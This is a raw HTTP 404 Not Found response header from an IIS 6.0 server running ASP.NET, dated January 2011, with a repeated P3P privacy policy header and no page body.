HTTP/1.1 404 Not Found Content-Length: 16 Content-Type: text/html Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Vary: Accept-Encoding Date: Thu, 27 Jan 2011 02:09:27 GMT Connection: close